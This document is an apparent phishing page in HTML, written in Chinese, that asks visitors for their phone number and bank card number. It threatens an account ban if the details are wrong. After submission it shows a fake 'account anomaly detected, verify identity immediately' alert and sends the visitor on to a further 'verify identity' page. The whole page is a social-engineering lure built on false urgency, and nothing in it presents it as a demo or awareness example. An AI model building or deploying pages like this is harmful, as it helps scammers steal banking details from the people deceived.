<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>信息收集表单</title>
    <style>
        body {
            background: linear-gradient(to bottom, #667eea, #764ba2);
            color: white;
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }

        h1 {
            text-align: center;
            margin-bottom: 20px;
        }

        form {
            background: rgba(255, 255, 255, 0.1);
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 400px;
        }

        label {
            display: block;
            margin-bottom: 5px;
        }

        input {
            width: 100%;
            padding: 10px;
            margin-bottom: 15px;
            border: none;
            border-radius: 5px;
        }

        input[type="submit"] {
            background: #007BFF;
            color: white;
            cursor: pointer;
            transition: background 0.3s ease;
        }

        input[type="submit"]:hover {
            background: #0056b3;
        }

        /* 自定义模态框样式 */
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background-color: rgba(0, 0, 0, 0.4);
        }

        .modal-content {
            background-color: #fefefe;
            margin: 15% auto;
            padding: 20px;
            border: 1px solid #888;
            width: 300px;
            text-align: center;
            border-radius: 10px;
            color: #333;
        }

        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
        }

        .close:hover,
        .close:focus {
            color: black;
            text-decoration: none;
            cursor: pointer;
        }

        /* 确定按钮样式 */
        #confirmBtn {
            background: #007BFF;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background 0.3s ease;
            margin-top: 10px;
        }

        #confirmBtn:hover {
            background: #0056b3;
        }
    </style>
</head>

<body>
    <form id="infoForm">
        <h1>请填写以下信息</h1>
        <label for="phone">电话号码：</label>
        <input type="tel" id="phone" name="phone" required>
        <label for="bankCard">银行卡号：</label>
        <input type="text" id="bankCard" name="bankCard" required>
        <input type="submit" value="提交">
        <h2>请仔细核对信息，如果不对将有账号封禁风险</h2>
    </form>

    <!-- 自定义模态框 -->
    <div id="myModal" class="modal">
        <div class="modal-content">
            <span class="close">&times;</span>
            <img src="image\微信图片_20250321170530.png" alt="警告">
            <p>检测到账户异常，请立即验证身份</p>
            <button id="confirmBtn">确定</button>
        </div>
    </div>

    <script>
        const form = document.getElementById('infoForm');
        const modal = document.getElementById('myModal');
        const closeBtn = document.querySelector('.close');
        const confirmBtn = document.getElementById('confirmBtn');

        form.addEventListener('submit', function (e) {
            e.preventDefault();
            modal.style.display = "block";
        });

        closeBtn.addEventListener('click', function () {
            modal.style.display = "none";
        });

        window.addEventListener('click', function (event) {
            if (event.target == modal) {
                modal.style.display = "none";
            }
        });

        confirmBtn.addEventListener('click', function () {
            window.location.href = "验证身份.html";
        });
    </script>
</body>

</html>